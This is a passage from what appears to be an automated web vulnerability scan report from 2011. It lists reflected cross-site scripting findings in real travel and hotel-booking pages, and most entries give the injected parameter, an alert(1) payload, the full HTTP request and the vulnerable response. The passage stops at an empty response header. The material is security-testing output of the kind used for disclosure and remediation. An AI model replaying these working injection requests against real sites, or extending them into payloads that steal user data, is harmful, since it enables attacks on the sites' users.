HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:59 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58910
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="roomTypeDescription" value="Superior Room 1 King Bed6054a"><script>alert(1)</script>9a5b6e7cfdb"> ...[SNIP]...
The value of the roomTypeDescription request parameter is copied into the HTML document as plain text between tags. The payload 59230<script>alert(1)</script>c81ab473367 was submitted in the roomTypeDescription parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:00 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58906
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <td colspan="2" class="Default" align="top"> Superior Room 1 King Bed59230<script>alert(1)</script>c81ab473367<br> ...[SNIP]...
The value of the supplierType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5b26"><script>alert(1)</script>f30d5227f91 was submitted in the supplierType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:55 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58769
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="supplierType" value="Hc5b26"><script>alert(1)</script>f30d5227f91"> ...[SNIP]...
The value of the taxRate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8125b"><script>alert(1)</script>ab3b4aef7b8 was submitted in the taxRate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:48 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="taxRate" value="205.998125b"><script>alert(1)</script>ab3b4aef7b8"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e4bac"-alert(1)-"6cd1c47228b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the d request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d821c"style%3d"x%3aexpression(alert(1))"7f41f0c9b18 was submitted in the d parameter. This input was echoed as d821c"style="x:expression(alert(1))"7f41f0c9b18 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> <title>Vacation and Hotel Reviews, Travel Photos and Pi ...[SNIP]... <base href="http://www.igougo.com/WebResource.axd?d=bcey9zNKaq8jmoZ3QSSEqg2d821c"style="x:expression(alert(1))"7f41f0c9b18&t=634196339417056915" /> ...[SNIP]...
4.324. http://www.igougo.com/WebResource.axd [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.igougo.com
Path:
/WebResource.axd
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5532"style%3d"x%3aexpression(alert(1))"7d535dff8eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b5532"style="x:expression(alert(1))"7d535dff8eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> <title>Vacation and Hotel Reviews, Travel Photos and Pi ...[SNIP]... <base href="http://www.igougo.com/WebResource.axd?d=bcey9zNKaq8jmoZ3QSSEqg2&t=634196339417056915&b5532"style="x:expression(alert(1))"7d535dff8eb=1" /> ...[SNIP]...
The value of the t request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12d40"style%3d"x%3aexpression(alert(1))"fa3fad8208d was submitted in the t parameter. This input was echoed as 12d40"style="x:expression(alert(1))"fa3fad8208d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> <title>Vacation and Hotel Reviews, Travel Photos and Pi ...[SNIP]... <base href="http://www.igougo.com/WebResource.axd?d=bcey9zNKaq8jmoZ3QSSEqg2&t=63419633941705691512d40"style="x:expression(alert(1))"fa3fad8208d" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 41537'%20a%3db%2041752f85467 was submitted in the REST URL parameter 1. This input was echoed as 41537' a=b 41752f85467 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /traveldeals41537'%20a%3db%2041752f85467/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 500 Internal Server Error Cache-Control: private Date: Mon, 03 Oct 2011 00:38:14 GMT Connection: close X-Strangeloop: Compression Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=utf-8 Content-Length: 33076
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> <title>Vacation and Hotel Reviews, Travel Photos and Pi ...[SNIP]... <input name="currentPage" type="hidden" value='/traveldeals41537' a=b 41752f85467/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011'/> ...[SNIP]...
The value of the SourceID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3bff1"style%3d"x%3aexpression(alert(1))"d3584fe9f61 was submitted in the SourceID parameter. This input was echoed as 3bff1"style="x:expression(alert(1))"d3584fe9f61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder3bff1"style%3d"x%3aexpression(alert(1))"d3584fe9f61&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:39:52 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78397
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder3bff1"style="x:expression(alert(1))"d3584fe9f61&adlt=1&end=Boston&rm=1&dest=Boston, undefined undefined&strtDate=10/04/2011&endDate=10/07/2011" /> ...[SNIP]...
The value of the SourceID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da8d5'%3balert(1)//6e4526513fd was submitted in the SourceID parameter. This input was echoed as da8d5';alert(1)//6e4526513fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunderda8d5'%3balert(1)//6e4526513fd&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:30:11 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78306
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <script type="text/javascript">
The value of the TypeID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22b4d"style%3d"x%3aexpression(alert(1))"235c9187834 was submitted in the TypeID parameter. This input was echoed as 22b4d"style="x:expression(alert(1))"235c9187834 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=122b4d"style%3d"x%3aexpression(alert(1))"235c9187834&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:28:38 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 80299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=122b4d"style="x:expression(alert(1))"235c9187834&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston, undefined undefined&strtDate=10/04/2011&endDate=10/07/2011" /> ...[SNIP]...
The value of the adlt request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60d36"style%3d"x%3aexpression(alert(1))"095b2ea4122 was submitted in the adlt parameter. This input was echoed as 60d36"style="x:expression(alert(1))"095b2ea4122 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=160d36"style%3d"x%3aexpression(alert(1))"095b2ea4122&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:31:38 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78350
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=160d36"style="x:expression(alert(1))"095b2ea4122&end=Boston&rm=1&dest=Boston, undefined undefined&strtDate=10/04/2011&endDate=10/07/2011" /> ...[SNIP]...
The value of the dest request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8362"style%3d"x%3aexpression(alert(1))"1d1fbdf009e was submitted in the dest parameter. This input was echoed as f8362"style="x:expression(alert(1))"1d1fbdf009e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefinedf8362"style%3d"x%3aexpression(alert(1))"1d1fbdf009e&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:34:09 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston, undefined undefinedf8362"style="x:expression(alert(1))"1d1fbdf009e&strtDate=10/04/2011&endDate=10/07/2011" /> ...[SNIP]...
The value of the end request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 525cb"style%3d"x%3aexpression(alert(1))"c40f94a9b10 was submitted in the end parameter. This input was echoed as 525cb"style="x:expression(alert(1))"c40f94a9b10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston525cb"style%3d"x%3aexpression(alert(1))"c40f94a9b10&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Sun, 02 Oct 2011 23:45:58 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 80383
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston525cb"style="x:expression(alert(1))"c40f94a9b10&rm=1&dest=Boston, undefined undefined&strtDate=10/04/2011&endDate=10/07/2011" /> ...[SNIP]...
The value of the end request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d123a'%3balert(1)//08fa278eb24 was submitted in the end parameter. This input was echoed as d123a';alert(1)//08fa278eb24 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Bostond123a'%3balert(1)//08fa278eb24&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Sun, 02 Oct 2011 23:46:02 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 80289
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... tal; google_safe = 'high'; google_ad_type = 'text'; google_color_line = 'ffffff'; google_adtest = 'off'; google_hints = 'Hotels Bostond123a';alert(1)//08fa278eb24'; google_encoding = 'iso-8859-1'; google_ad_channel = '2896345880'; } function createGoogleAdsLink(pGoogleAdsVars) { var oLink = document.creat ...[SNIP]...
The value of the endDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4645f"style%3d"x%3aexpression(alert(1))"0e074ed26d1 was submitted in the endDate parameter. This input was echoed as 4645f"style="x:expression(alert(1))"0e074ed26d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/20114645f"style%3d"x%3aexpression(alert(1))"0e074ed26d1 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:36:09 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston, undefined undefined&strtDate=10/04/2011&endDate=10/07/20114645f"style="x:expression(alert(1))"0e074ed26d1" /> ...[SNIP]...
4.335. http://www.igougo.com/traveldeals/ratefinder.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.igougo.com
Path:
/traveldeals/ratefinder.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 848f0"style%3d"x%3aexpression(alert(1))"b28791311ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 848f0"style="x:expression(alert(1))"b28791311ee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011&848f0"style%3d"x%3aexpression(alert(1))"b28791311ee=1 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
